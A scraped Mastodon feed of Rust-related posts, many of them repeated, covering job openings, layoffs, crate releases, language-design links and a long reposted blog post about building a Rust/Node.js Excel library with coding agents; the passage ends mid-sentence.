fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.

feel free to reach out for more details and the job posting.

:boosts_ok_gay:

@tarajdactyl@anarres.family

:boosts_ok_gay:

attention anybody with substantial experience with Rust and networking: my team is hiring!!

one of few rust jobs I'm aware of that is not web 3.0 horseplop.

fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.

feel free to reach out for more details and the job posting.

:boosts_ok_gay:

@tarajdactyl@anarres.family

:boosts_ok_gay:

attention anybody with substantial experience with Rust and networking: my team is hiring!!

one of few rust jobs I'm aware of that is not web 3.0 horseplop.

fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.

feel free to reach out for more details and the job posting.

:boosts_ok_gay:

@tarajdactyl@anarres.family

:boosts_ok_gay:

attention anybody with substantial experience with Rust and networking: my team is hiring!!

one of few rust jobs I'm aware of that is not web 3.0 horseplop.

fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.

feel free to reach out for more details and the job posting.

:boosts_ok_gay:

@markstos@urbanists.social

I'm learning now and am surprised that my experience is perhaps more valuable than JavaScript / TypeScript experience to understand some of the concepts. Why:

- Perl has more explicit reference handling
- Perl has Moose::Roles which have some similarities in Rust traits. I haven't run into a similar pattern as much in JavaScript / TypeScript.

@Ambraven@social.mochi.academy

What do you use for algebra in rust ? I'm trying to use nalgebra but it's kinda of a pain...

(What do you mean I can't iter over columns and then collect the result ?)

@Ambraven@social.mochi.academy

What do you use for algebra in rust ? I'm trying to use nalgebra but it's kinda of a pain...

(What do you mean I can't iter over columns and then collect the result ?)

@0bsole7e@mastodon.social

hello world! I'm a programmer living the life in berlin.

I spend my time with , and , which often leaks into and .

when I'm not at the keyboard, I'm reading, playing or watching .

most of my soundtrack is , except when it's .

rights are human rights. if you have a problem with this, just fuck off please.

and society still is all about class struggle. !

that's my

@ekuber@hachyderm.io · Reply to Esteban K�ber :rust:

crates that vendor C code and build it in their build.rs should *not* make them the default. Instead they should attempt to use the system one and bail if that fails, with an error asking people to enable a feature flag to use the vendored dependency. "It just works" invisibly means that people can be unaware that they are including vendored code or that their platform's system packages aren't properly set up.

@crashtestdev@woof.tech

Sooo, my company have opened up for volunteer redundancies, if anyone needs or is hiring for a senior dotnet/python/rust dev who's entire personality is "I like making cool things work", I'm open

Some of my highlight include

- I wrote the entire train driver licencing management system for all of Great Britain, on my own, in a few weeks, with a completely unfamiliar stack

- Successfully defended the aforementioned project directly to the cabinet office when they blocked it and allowed it to continue to be deployed

- Once built a 64 bit computer in vanilla Java Minecraft (no command blocks)

- Worked on nuclear, medical, and autonomous driving systems, cannot talk about this too much, but this does mean I can absolutely talk your ear off about the importance of strict vigilance in software engineering

@crashtestdev@woof.tech

Sooo, my company have opened up for volunteer redundancies, if anyone needs or is hiring for a senior dotnet/python/rust dev who's entire personality is "I like making cool things work", I'm open

Some of my highlight include

- I wrote the entire train driver licencing management system for all of Great Britain, on my own, in a few weeks, with a completely unfamiliar stack

- Successfully defended the aforementioned project directly to the cabinet office when they blocked it and allowed it to continue to be deployed

- Once built a 64 bit computer in vanilla Java Minecraft (no command blocks)

- Worked on nuclear, medical, and autonomous driving systems, cannot talk about this too much, but this does mean I can absolutely talk your ear off about the importance of strict vigilance in software engineering

@glocq@mathstodon.xyz

When I look for resources about lifetimes:

The "draw the rest of the fucking owl meme". Top text: "How to draw an owl". Image 1: two hand-drawn circly shapes, labeled "draw some circles". Image 2: a highly detailed drawing of an owl, labeled "draw the rest of the fucking owl".
ALT text

The "draw the rest of the fucking owl meme". Top text: "How to draw an owl". Image 1: two hand-drawn circly shapes, labeled "draw some circles". Image 2: a highly detailed drawing of an owl, labeled "draw the rest of the fucking owl".

@abnv@fantastic.earth

I can't get over the fact that invented `Option` to avoid NULL pointers, and then added `unwrap` to it, undoing the whole thing.

@PolyWolf@treehouse.systems

As of this morning, I have been let go from my current position. 3 years of experience with / & , effectively a lot more with due to all the hobby projects. Looking for something with any of those, pretty good at learning on-the-job too, either Remote, in NYC, or on United States' east coast. Resume available upon request.

@PolyWolf@treehouse.systems

As of this morning, I have been let go from my current position. 3 years of experience with / & , effectively a lot more with due to all the hobby projects. Looking for something with any of those, pretty good at learning on-the-job too, either Remote, in NYC, or on United States' east coast. Resume available upon request.

@jnsgruk@hachyderm.io
@hackuador@functional.cafe

I contributed a new video sink plugin to gst-plugins-rs this weekend, that allows you to play videos in your terminal. It makes use of the `viuer` crate to achieve this:

gitlab.freedesktop.org/gstream

Screenshot of a terminal displaying video output from a GStreamer pipeline rendered directly in the terminal. The frame shows a view from inside a small helicopter cockpit in flight, with the instrument panel in the center. The pilot, seated on the right, is wearing a headset and holding a clipboard. Through the curved windshield, a hazy aerial landscape of fields, roads, and buildings is visible below. Pipeline debug messages appear as text at the bottom of the terminal.
ALT text

Screenshot of a terminal displaying video output from a GStreamer pipeline rendered directly in the terminal. The frame shows a view from inside a small helicopter cockpit in flight, with the instrument panel in the center. The pilot, seated on the right, is wearing a headset and holding a clipboard. Through the curved windshield, a hazy aerial landscape of fields, roads, and buildings is visible below. Pipeline debug messages appear as text at the bottom of the terminal.

@alice_i_cecile@mastodon.gamedev.place

A new Rust language design post from boxy (my ???): boxyuwu.blog/posts/an-incohere

This is a complex topic, and as the post itself says, it is a bit "lacking in smallness". 100% worth digging into though if you're interested in or the theory of programming language design.

TL;DR: coherence (which is responsible for the orphan rule about trait impls) causes problems with ecosystem lock-in. If we introduce the idea of named trait impls we might be able to do away with it!

boxyuwu.blog

An Incoherent Rust

Coherence and the orphan rules are a frequent source of complaints about Rust, and a common topic of language proposals. This post covers most of the existing proposals around coherence and my vision for how we should solve coherence once and for all.

@alice_i_cecile@mastodon.gamedev.place

A new Rust language design post from boxy (my ???): boxyuwu.blog/posts/an-incohere

This is a complex topic, and as the post itself says, it is a bit "lacking in smallness". 100% worth digging into though if you're interested in or the theory of programming language design.

TL;DR: coherence (which is responsible for the orphan rule about trait impls) causes problems with ecosystem lock-in. If we introduce the idea of named trait impls we might be able to do away with it!

boxyuwu.blog

An Incoherent Rust

Coherence and the orphan rules are a frequent source of complaints about Rust, and a common topic of language proposals. This post covers most of the existing proposals around coherence and my vision for how we should solve coherence once and for all.

@meka@bsd.network

I'd love to change my profession to developer, so if you know someone who needs such a developer, please ping me. I have to admit, with development of maolan.github.io I realized that Rust is something I'm actually good at.

maolan.github.io

Maolan – Open Source Digital Audio Workstation

A modern Rust-based DAW for recording, MIDI editing, automation, and music production. Open source, transparent, and community-driven.

@thomas@metalhead.club

Since my new XMPP upload server implementation "Rusty Filer" has been working great on trashserver.net since two weeks, I present to you:

The first release of Rusty Filer! codeberg.org/thomas.leister/ru 🥳

It has the same features as Prosody Filer, but it also available as a deb package and via a apt repository (for simple deployment automatic updates!).

If you run into any issues using this server, let me know in the Codeberg issues.

codeberg.org

Cookie monster!

@thomas@metalhead.club

Since my new XMPP upload server implementation "Rusty Filer" has been working great on trashserver.net since two weeks, I present to you:

The first release of Rusty Filer! codeberg.org/thomas.leister/ru 🥳

It has the same features as Prosody Filer, but it also available as a deb package and via a apt repository (for simple deployment automatic updates!).

If you run into any issues using this server, let me know in the Codeberg issues.

codeberg.org

Cookie monster!

@raphael@mastodon.communick.com
@lobsters@mastodon.social
@lobsters@mastodon.social
@hackuador@functional.cafe
@alice_i_cecile@mastodon.gamedev.place

Hi ! It's time for your weekly :D Nom-nom-nom: gobble up 8 PRs worth of goodness, as we go over the work that the community thinks is ready to merge: gist.github.com/alice-i-cecile

Largely fixes today, but some nice chatter about dueling solutions, work that I helped with and why panics are bad actually.

gist.github.com

Bevy merge train 2026-03-16

Bevy merge train 2026-03-16. GitHub Gist: instantly share code, notes, and snippets.

@alice_i_cecile@mastodon.gamedev.place

Hi ! It's time for your weekly :D Nom-nom-nom: gobble up 8 PRs worth of goodness, as we go over the work that the community thinks is ready to merge: gist.github.com/alice-i-cecile

Largely fixes today, but some nice chatter about dueling solutions, work that I helped with and why panics are bad actually.

gist.github.com

Bevy merge train 2026-03-16

Bevy merge train 2026-03-16. GitHub Gist: instantly share code, notes, and snippets.

@ghostbyte@mastodon.social · Reply to Ghostbyte Development

We know that there are multiple similar services out there (FediDB, Fediverse Observer, ...).
The real reason we came up with that project is more the interest in the developing aspects.

We always wanted to create some kind of crawler and check out the Rust language. That's why we are writing the crawler in Rust.

Another thing we always wanted to learn is Spring Boot. So we are using it for our API.

@ghostbyte@mastodon.social · Reply to Ghostbyte Development

We know that there are multiple similar services out there (FediDB, Fediverse Observer, ...).
The real reason we came up with that project is more the interest in the developing aspects.

We always wanted to create some kind of crawler and check out the Rust language. That's why we are writing the crawler in Rust.

Another thing we always wanted to learn is Spring Boot. So we are using it for our API.

@predrag@hachyderm.io · Reply to Predrag Gruevski
@predrag@hachyderm.io
@trifectatech@fosstodon.org

Zlib-rs is now feature-complete! We've released v0.6, the first version with a stable and complete API. The blog post has the details.

Zlib-rs offers an alternative to C/C++ counterparts. It provides on-par (or better!) performance while reducing attack surface through memory safety.

With thanks to our maintainer @folkertdev, our contributors and @sovtechfund.

trifectatech.org/blog/zlib-rs-

trifectatech.org

zlib-rs: a stable API and 30M downloads - Trifecta Tech Foundation

@weiznich@social.weiznich.de

It's Friday again, so it's time for another update on Diesel, a Rust ORM and Query Builder.

This week we received 2 new bug reports and 3 new PR's. That hopefully gives me the chance to catch up at least on the PR's in the next weeks.

@mholiv@fosstodon.org
@mholiv@fosstodon.org
@CKL@ioc.exchange

Now I want to read a sci-fi novel set in the near future about two programmers who need to learn non-vibe-coding to write something under the radar of the AIs (plural!) watching their every move online.

To save the world.
In rust.

And they're fighting over vi vs emacs.

And it will have to be on an OpenBSD machine, since every performance setting is disabled because of rowhammer et alter.

Something like the Morse stuff in Cryptonomicon?


@ekuber@hachyderm.io

74% of you never open tickets against , and another 24% of you do it less than once a month.

It validates my rule of thumb that for every ticket there are 20 people that will voice their problem on social media without filing a ticket and 100 that are affected but didn't feel the need to tell anyone.

blog.rust-lang.org/2026/03/02/

blog.rust-lang.org

2025 State of Rust Survey Results | Rust Blog

Empowering everyone to build reliable and efficient software.

@hackeryarn@mastodon.social

I’ve been experimenting more with data-oriented design in Rust. A few weeks ago I applied these ideas to a Python library using PyO3 and Rust. It ended up outperforming NumPy for a subset of operations.

In this post I detail the journey and techniques used to get there:

hackeryarn.com/post/fast-pytho

hackeryarn.com

hackeryarn | Fast Python with Rust: a data-oriented approach

By applying data-oriented design patterns in Rust, we can build a use case specific Python library that outperforms even NumPy. This article lays out the bottlenecks and architectural shifts needed to achieve this level of performance.

@terts@mastodon.online
@JdeBP@mastodonapp.uk · Reply to MontyOnTheRun

@montyontherun

The definitions are broad, so to quite an extent they would. There are users, who have accounts, on general purpose computers, and run applications.

The only hope for seems to be that they likely don't have things that fit the definition of a 'covered application store'.

But they might; especially if the mainframe is nowadays running a Linux-based operating system.

linuxvm.org/info/distros.html

and have package repositories for s390x, for example. Such a repository is a 'publicly available internet website […] that distributes and facilitates the download of applications'.

Here's one way how the naughty 16-year-olds in would download rustc onto such a mainframe with no , for example:

packages.debian.org/trixie/s39

packages.debian.org

Debian -- Package Download Selection -- rustc_1.85.0+dfsg3-1_s390x.deb

@JdeBP@mastodonapp.uk · Reply to JdeBP

I foresee:

1. eventually following 's lead and cutting off from ; after lengthy mailing list discussions where at least one person tries to deny with convoluted nonsense the plain reading of the statute.

1. A storm when someone points out that the version of APT isn't exempt, nor is RPM. (Goodness knows what IBM is going to do.)

1. An even bigger storm when someone adds an 'age' field to systemd's JSON User Records, to be enforced and served out over Desktop Bus via a systemd-aged service or some such. Much fun if that someone comes from a country.

1. Some nutter taking a Linux distribution to court because it doesn't enable developers to control whether 16-year-olds can install rustc and busybox.

@nmeum@chaos.social

There is a fun footgun related to compile-time code generation using procedural macros in Rust: if the macro has non-deterministic behavior, then the build process of any crate using it is not reproducible.

Here's a little write-up explaining how I uncovered such an issue in the hashify crate while trying to package Rust software for Guix: notes.8pit.net/notes/iqfs.html

notes.8pit.net

Debugging Reproducibility Issues in Rust Software

@nmeum@chaos.social

There is a fun footgun related to compile-time code generation using procedural macros in Rust: if the macro has non-deterministic behavior, then the build process of any crate using it is not reproducible.

Here's a little write-up explaining how I uncovered such an issue in the hashify crate while trying to package Rust software for Guix: notes.8pit.net/notes/iqfs.html

notes.8pit.net

Debugging Reproducibility Issues in Rust Software

@adz@post.lurk.org
Cute Shiba dog making toys "kiss". The toys are small Shiba dogs. One toy has a text saying "Rust Stream", the other toy says "Another Rust Stream"
ALT text

Cute Shiba dog making toys "kiss". The toys are small Shiba dogs. One toy has a text saying "Rust Stream", the other toy says "Another Rust Stream"

@xoron@infosec.exchange

Signal Protocol for a P2P Webapp

TL;DR: I have open-sourced a implementation of the that compiles to for -based messaging, overcoming the limitations of the official library.

I am sharing my implementation of the Signal Protocol designed specifically for the . While the official libsignal is the gold standard, its targets are often optimized for Node.js, which creates integration challenges for client-side web applications.

My version is built in and compiles to , utilizing to provide robust for decentralized environments. It currently powers the end-to-end security for my messaging project.

Protocol Demo:
signal.positive-intentions.com/

P2P App Demo:
p2p.positive-intentions.com/if

I am looking for feedback from the and community. If you have experience with audits or formal-proof verification, I would appreciate your eyes on the codebase as I work toward a more finished state.

GitHub Repository:
github.com/positive-intentions

signal protocol
ALT text

signal protocol

@smallcircles@social.coop · Reply to xoron :verified:

@xoron @khleedril

Perhaps useful, so just bringing it up. The team are in their presentations always particularly proud in how they make builds in mere seconds across the full range of compile targets. They make builds after live coding *during* the presentation. Perhaps some of their methods to achieve this are applicable for you. Other than that, watching a recent Makepad presentation is inspiring, as their project is an impressive feat.

makepad.nl/

Btw, uses Makepad and perhaps has similar approach to compiles, idk really. It is another cool initiative, who build a matrix client with their app framework.

robius.rs/

@xoron@infosec.exchange

Signal Protocol for a P2P Webapp

TL;DR: I have open-sourced a implementation of the that compiles to for -based messaging, overcoming the limitations of the official library.

I am sharing my implementation of the Signal Protocol designed specifically for the . While the official libsignal is the gold standard, its targets are often optimized for Node.js, which creates integration challenges for client-side web applications.

My version is built in and compiles to , utilizing to provide robust for decentralized environments. It currently powers the end-to-end security for my messaging project.

Protocol Demo:
signal.positive-intentions.com/

P2P App Demo:
p2p.positive-intentions.com/if

I am looking for feedback from the and community. If you have experience with audits or formal-proof verification, I would appreciate your eyes on the codebase as I work toward a more finished state.

GitHub Repository:
github.com/positive-intentions

signal protocol
ALT text

signal protocol

@xoron@infosec.exchange

Signal Protocol for a P2P Webapp

TL;DR: I have open-sourced a implementation of the that compiles to for -based messaging, overcoming the limitations of the official library.

I am sharing my implementation of the Signal Protocol designed specifically for the . While the official libsignal is the gold standard, its targets are often optimized for Node.js, which creates integration challenges for client-side web applications.

My version is built in and compiles to , utilizing to provide robust for decentralized environments. It currently powers the end-to-end security for my messaging project.

Protocol Demo:
signal.positive-intentions.com/

P2P App Demo:
p2p.positive-intentions.com/if

I am looking for feedback from the and community. If you have experience with audits or formal-proof verification, I would appreciate your eyes on the codebase as I work toward a more finished state.

GitHub Repository:
github.com/positive-intentions

signal protocol
ALT text

signal protocol

@haskell@fosstodon.org
@rustaceans@mastodon.social

Is your company currently hiring for a role that includes using Rust?

Reply with a link to the opening and any relevant context.

If you're not, we'd appreciate a repost for visibility

@maxheadroom@hub.uckermark.social

I fiddled something again. The challenge was to enable static web file “hosting” out of Forgejo Repos. This doesn’t come out of the box from Forgejo and there are various ways to solve this.
I went for a hopefully lightweight setup using a Caddy Webserver to serve the static files and a little Rust program to act as a Webhooks for Forgejo to call on push to the repo. The repo can be found at repos.mxhdr.net/maxheadroom/fo

repos.mxhdr.net

forgejo-static-pages

forgejo-static-pages

@esther_alter@mastodon.social

Laid off :/

I know:

- Unity C#
- Rust
- Python

I can learn:

- Anything

I am in Massachusetts. Remote work would be great too

I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.

Anyone got anything?

@esther_alter@mastodon.social

Laid off :/

I know:

- Unity C#
- Rust
- Python

I can learn:

- Anything

I am in Massachusetts. Remote work would be great too

I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.

Anyone got anything?

@esther_alter@mastodon.social

Laid off :/

I know:

- Unity C#
- Rust
- Python

I can learn:

- Anything

I am in Massachusetts. Remote work would be great too

I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.

Anyone got anything?

@esther_alter@mastodon.social

Laid off :/

I know:

- Unity C#
- Rust
- Python

I can learn:

- Anything

I am in Massachusetts. Remote work would be great too

I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.

Anyone got anything?

@esther_alter@mastodon.social

Laid off :/

I know:

- Unity C#
- Rust
- Python

I can learn:

- Anything

I am in Massachusetts. Remote work would be great too

I've 8 years of experience as an MIT software engineer specializing in research simulation platform projects. I would prefer: not creating the next big AI thing, not making weapons, never having to think about blockchain anything.

Anyone got anything?

@michalfita@mastodon.social · Reply to Jakub Neruda

@jakub_neruda Might be, whatever. Memory safety bugs are these, where code creates a risk of access to memory that hadn't been originally specified. and C++ have a problem, as many language constructs don't have protection mechanisms against out-of-bounds, double free, etc.

There's other category of bugs to which is prone to (not ) like C and C++ which don't allow - implicit nullability. The nature of JVM doesn't turn them to security risk, but they cause a lot of crashes.

@rustnl@fosstodon.org
@rustnl@fosstodon.org
@jakub_neruda@techhub.social

People often claim that memory-safe languages eliminate the class of memory bugs, but that is not true and can give less experienced devs a false sense of security.

You can violate borrow checker at runtime in Rust with zero unsafe blocks. You can have null-pointer dereference in C#. You can index out of bounds in Java.

The difference is that while C++ will crash at unspecified time with SIGSEGV (or not crash at all), memory-safe languages will either crash at a well-defined time in a well-defined way, or they will emit an exception you shall handle.

In the customers eyes, that might not even be a difference.

@rustnl@fosstodon.org
@rustnl@fosstodon.org
@lobsters@mastodon.social

hackers.pub

Building a New Excel Library in One Week

These days I work primarily in TypeScript on Node.js. I needed to handle bulk uploads of large Excel data and dynamically generate template Excel files to collect that data. Those templates had to include data validation, conditional formatting, dropdowns, and so on. The existing Node.js Excel libraries each had problems. One split its functionality between a community edition and a paid edition, which meant features I needed were locked away. The other had a gap between its internal implementation and its TypeScript typings, and it was too slow for what I was trying to do. Pull requests had piled up in the repository, but the project was no longer being maintained. I had known about Excelize, the Go library, for a while. Charts, conditional formatting, formulas, data validation: it covers a lot of the OOXML spec and does it well. I kept thinking I wanted something at that level in TypeScript. Coding agents have gotten noticeably better in the past year or so, and I wanted to try a specific way of working: I make all the design and architecture decisions, and agents handle the implementation. On Wednesday of last week (February 4th) I started analyzing Excelize and other Excel libraries. By Saturday night (February 7th) I was writing code. That's SheetKit. Repository Documentation (Getting Started) Benchmark results (environment, methodology, fixtures included):Node.js library comparison Rust comparison Fixture definitions This is the first of two posts. This one covers what SheetKit is and how the week went, from first release to the v0.5.0 I shipped this evening (February 14th). The second post will be about working with coding agents: what I delegated, how, and where it broke down. Release Timeline Dates are crates.io / npm publish timestamps. Approximate, not to-the-minute. VersionWhenDateWhatv0.1.0Sunday (last week)2026-02-08First publish (initial form)v0.1.2Monday early morning (last week)2026-02-09First snapshot worth calling a public releasev0.2.0Monday morning (last week)2026-02-09Buffer I/O, formula helpersv0.3.0Tuesday early morning (last week)2026-02-10Raw buffer FFI, batch APIs, benchmark suitev0.4.0Tuesday afternoon (last week)2026-02-10Feature expansion + documentation sitev0.5.0Saturday evening (today)2026-02-14Lazy loading / streaming, COW save, benchmark rule improvements What Is SheetKit? SheetKit is a Rust spreadsheet library for OOXML formats (.xlsx, .xlsm, etc.) with Node.js bindings via napi-rs. Bun and Deno work too, since they support Node-API. .xlsx files are ZIP archives containing XML parts. SheetKit opens the ZIP, deserializes each XML part into Rust structs, lets you manipulate them, and serializes everything back on save. Three crates on the Rust side: sheetkit-xml: Low-level XML data structures mapping to OOXML schemas sheetkit-core: All business logic sheetkit: Facade crate for library consumers Node.js bindings live in packages/sheetkit and expose the Rust API via #[napi] macros. To get started: sheetkit.dev/getting-started. Saturday Night to First Release (v0.1.x) I started coding Saturday night (February 7th) and pushed v0.1.0 the next day. By early Monday morning I had v0.1.2, which was the first version I'd actually call releasable. I had spent Wednesday analyzing the OOXML spec and how existing libraries implemented features, so by Saturday I had a detailed plan ready. I handed implementation to coding agents (Claude Code and Codex). The setup was: a main orchestrator agent receives the plan, then spawns sub-agents in parallel for each feature area. It burns through tokens fast, but it gets a large plan done quickly. After the agents finish, a separate agent does code review before I look at it. More on this workflow in the next post. v0.1.2 was an MVP. It had 44,000+ lines, 1,533 tests, 110 formula functions, charts, images, conditional formatting, data validation, StreamWriter, and builds for 8 platform targets. But it could only read/write via file paths (no Buffer I/O), and I hadn't measured performance at all. It worked, but that was about it. Monday: Starting to Think About Performance (v0.2.0 – v0.3.0) Buffer I/O (v0.2.0) v0.2.0 went up Monday morning, a few hours after v0.1.2. I added Buffer I/O: read and write .xlsx directly from in-memory buffers, no filesystem needed. In a server you're usually processing binary from an HTTP request or streaming a generated file back in the response, so this had to come early. fill_formula and other formula helpers went in at the same time. With Buffer I/O in place I could run tests closer to real production workloads. That's where the problems showed up. Switching to Raw Buffers (v0.3.0) The initial implementation created a JS object per cell and passed it across the Rust/JS FFI boundary. Pull a 50k×20 sheet as a row array and that's a million-plus JS objects. GC pressure and memory usage went through the roof. I got the idea from oxc, which transfers Rust AST data to JS as raw buffers instead of object trees. Same principle here: Don't create per-cell objects. Serialize the entire sheet into a compact binary buffer. Cross the FFI boundary once. The encoder picks dense or sparse layout automatically based on cell occupancy (threshold: 30%). Since the JS side receives a raw buffer, I also wrote a TypeScript parser for the format. v0.3.0 shipped the first version of this buffer protocol. v0.5.0 later replaced it with a v2 format that supports inline strings and incremental row-by-row decoding. I also made changes in the Rust XML layer. The goal was fewer heap allocations and simpler hot paths. ChangeWhyCell references ("A1") stored as [u8; 10] inline arrays, not heap StringsMax cell ref is "XFD1048576" (10 bytes). No need for the heap.Cell type attribute normalized to a 1-byte enumStops carrying raw XML attribute strings aroundBinary search for cells within a row, replacing linear scanMetricBeforeAfterMemory (RSS) at 100k rows361 MB13.5 MBNode.js read overhead vs. native Rust—~4%GC pressure1M+ object creationsSingle buffer transfer Benchmarks This is when I built the benchmark suite, comparing SheetKit against existing Node.js and Rust libraries. The runner outputs Markdown with environment info, iteration counts, and raw numbers. Setup: Apple M4 Pro, 24 GB / Node v25.3.0 / Rust 1.93.0. Median of 5 runs after 1 warmup. RSS/heapUsed are residual deltas (before vs. after), not peaks. Fixtures are generated deterministically; row counts include the header. 50k rows × 20 columns: SheetKit read 541 ms, write 469 ms. The JS-only libraries: 1.24–1.56s read, 1.09–2.62s write. heapUsed delta: 0 MB, which confirmed that the JS side was no longer accumulating objects. One odd thing: edit-xlsx, a Rust library, was showing suspiciously fast read times. I didn't understand why at this point. The explanation came during the v0.5.0 work (covered below). Tuesday: Closing Feature Gaps (v0.4.0) v0.4.0 shipped Tuesday afternoon. This one was about features, not performance. I went through what other Excel libraries supported and listed what SheetKit was still missing. Shapes, slicers, form controls, threaded comments, VBA extraction, a CLI. I also added 54 more formula functions (total: 164), mostly financial and engineering. Same orchestrator/sub-agent setup as before: write a detailed plan for each feature, have the agents implement in parallel, agent review first, then my review. Memory optimization continued on the side. Reworking the Cell struct and SST memory layout cut RSS from 349 MB to 195 MB for sync reads (44% drop). Async reads: 17 MB. I also set up a VitePress documentation site around this time. Today: Rethinking the Architecture (v0.5.0) v0.5.0 went out this evening. Unlike the previous releases, which added features on top of the same API shape, this one changed the Node.js API structure and parts of the Rust core. Lazy Loading by Default Before v0.5.0, open() parsed every XML part upfront. Open a 50k-row file and all sheets load into memory, even the ones you never touch. Now there are three read modes: lazy (default): reads ZIP index and metadata only. Sheets parse on first access. eager: the old behavior. Parse everything immediately. stream: forward-only, bounded memory. Lazy open costs less than 30% of eager, and pre-access memory is under 20% of eager. Auxiliary parts (comments, charts, images, pivot tables) also defer parsing until you actually call a method that needs them. Streaming Reader Forward-only reader for large files. One batch in memory at a time. const wb = await Workbook.open("huge.xlsx", { readMode: "stream" });const reader = await wb.openSheetReader("Sheet1", { batchSize: 1000 });for await (const batch of reader) { for (const row of batch) { // process }} Copy-on-Write Save When you save a lazily-opened workbook, unchanged sheets pass through directly from the original ZIP entry. No parse-serialize round trip. At work I generate files by opening a template, filling in a few cells, and sending it back. That's exactly the workload this helps. The edit-xlsx Read Anomaly Back when I built the benchmarks, edit-xlsx was recording very fast read times on some files. Rows/cells count was dropping to zero. I added comparability rules to the benchmark: Check that rows/cells count matches expectations Value-probe a few cells at known coordinates If either fails, mark the result non-comparable Then I dug into why. In SpreadsheetML, fileVersion, workbookPr, and bookViews in workbook.xml are optional. edit-xlsx 0.4.x treats them as required. When deserialization fails on a file missing these elements, it falls back to a default struct: rows=0, cells=0, near-zero runtime. It was fast because it wasn't reading anything. SheetKit now writes default values for fileVersion and workbookPr (matching Excel's own defaults) when they're absent, for compatibility. Node.js Bindings Faster Than Native Rust? In some write scenarios, the Node.js bindings beat native Rust. ScenarioRustNode.jsOverheadWrite 50k rows × 20 cols544 ms469 ms−14% (Node.js faster)Write 20k text-heavy rows108 ms86 ms−20% (Node.js faster) This happens because V8 is very good at string interning and memory management when building SST data through the batch API (setSheetData). The napi crossing costs less than what V8 saves. I did not expect to see negative overhead, but here we are. Dogfooding SheetKit I replaced our previous library with SheetKit at work. Template generation and bulk upload processing have been running fine. Where it stands today (February 14th): Streaming read/write in both Node.js and Rust 164 formula functions 43 chart types Multiple image formats Read overhead (Node.js vs. Rust): ~4%. Some write scenarios are faster from Node.js. Details at sheetkit.dev. The library is still experimental and APIs may change. I'll keep using it in production, measuring, and fixing things as they come up. Issues and PRs are always welcome. Next Post This covered the what and when. The next post is about the how: orchestrator/sub-agent structure, how I used Claude Code and Codex, the agentic code review loop, where I had to step in, and what I'd do differently.

@lobsters@mastodon.social

hackers.pub

Building a New Excel Library in One Week

These days I work primarily in TypeScript on Node.js. I needed to handle bulk uploads of large Excel data and dynamically generate template Excel files to collect that data. Those templates had to include data validation, conditional formatting, dropdowns, and so on. The existing Node.js Excel libraries each had problems. One split its functionality between a community edition and a paid edition, which meant features I needed were locked away. The other had a gap between its internal implementation and its TypeScript typings, and it was too slow for what I was trying to do. Pull requests had piled up in the repository, but the project was no longer being maintained. I had known about Excelize, the Go library, for a while. Charts, conditional formatting, formulas, data validation: it covers a lot of the OOXML spec and does it well. I kept thinking I wanted something at that level in TypeScript. Coding agents have gotten noticeably better in the past year or so, and I wanted to try a specific way of working: I make all the design and architecture decisions, and agents handle the implementation. On Wednesday of last week (February 4th) I started analyzing Excelize and other Excel libraries. By Saturday night (February 7th) I was writing code. That's SheetKit. Repository Documentation (Getting Started) Benchmark results (environment, methodology, fixtures included):Node.js library comparison Rust comparison Fixture definitions This is the first of two posts. This one covers what SheetKit is and how the week went, from first release to the v0.5.0 I shipped this evening (February 14th). The second post will be about working with coding agents: what I delegated, how, and where it broke down. Release Timeline Dates are crates.io / npm publish timestamps. Approximate, not to-the-minute. VersionWhenDateWhatv0.1.0Sunday (last week)2026-02-08First publish (initial form)v0.1.2Monday early morning (last week)2026-02-09First snapshot worth calling a public releasev0.2.0Monday morning (last week)2026-02-09Buffer I/O, formula helpersv0.3.0Tuesday early morning (last week)2026-02-10Raw buffer FFI, batch APIs, benchmark suitev0.4.0Tuesday afternoon (last week)2026-02-10Feature expansion + documentation sitev0.5.0Saturday evening (today)2026-02-14Lazy loading / streaming, COW save, benchmark rule improvements What Is SheetKit? SheetKit is a Rust spreadsheet library for OOXML formats (.xlsx, .xlsm, etc.) with Node.js bindings via napi-rs. Bun and Deno work too, since they support Node-API. .xlsx files are ZIP archives containing XML parts. SheetKit opens the ZIP, deserializes each XML part into Rust structs, lets you manipulate them, and serializes everything back on save. Three crates on the Rust side: sheetkit-xml: Low-level XML data structures mapping to OOXML schemas sheetkit-core: All business logic sheetkit: Facade crate for library consumers Node.js bindings live in packages/sheetkit and expose the Rust API via #[napi] macros. To get started: sheetkit.dev/getting-started. Saturday Night to First Release (v0.1.x) I started coding Saturday night (February 7th) and pushed v0.1.0 the next day. By early Monday morning I had v0.1.2, which was the first version I'd actually call releasable. I had spent Wednesday analyzing the OOXML spec and how existing libraries implemented features, so by Saturday I had a detailed plan ready. I handed implementation to coding agents (Claude Code and Codex). The setup was: a main orchestrator agent receives the plan, then spawns sub-agents in parallel for each feature area. It burns through tokens fast, but it gets a large plan done quickly. After the agents finish, a separate agent does code review before I look at it. More on this workflow in the next post. v0.1.2 was an MVP. It had 44,000+ lines, 1,533 tests, 110 formula functions, charts, images, conditional formatting, data validation, StreamWriter, and builds for 8 platform targets. But it could only read/write via file paths (no Buffer I/O), and I hadn't measured performance at all. It worked, but that was about it. Monday: Starting to Think About Performance (v0.2.0 – v0.3.0) Buffer I/O (v0.2.0) v0.2.0 went up Monday morning, a few hours after v0.1.2. I added Buffer I/O: read and write .xlsx directly from in-memory buffers, no filesystem needed. In a server you're usually processing binary from an HTTP request or streaming a generated file back in the response, so this had to come early. fill_formula and other formula helpers went in at the same time. With Buffer I/O in place I could run tests closer to real production workloads. That's where the problems showed up. Switching to Raw Buffers (v0.3.0) The initial implementation created a JS object per cell and passed it across the Rust/JS FFI boundary. Pull a 50k×20 sheet as a row array and that's a million-plus JS objects. GC pressure and memory usage went through the roof. I got the idea from oxc, which transfers Rust AST data to 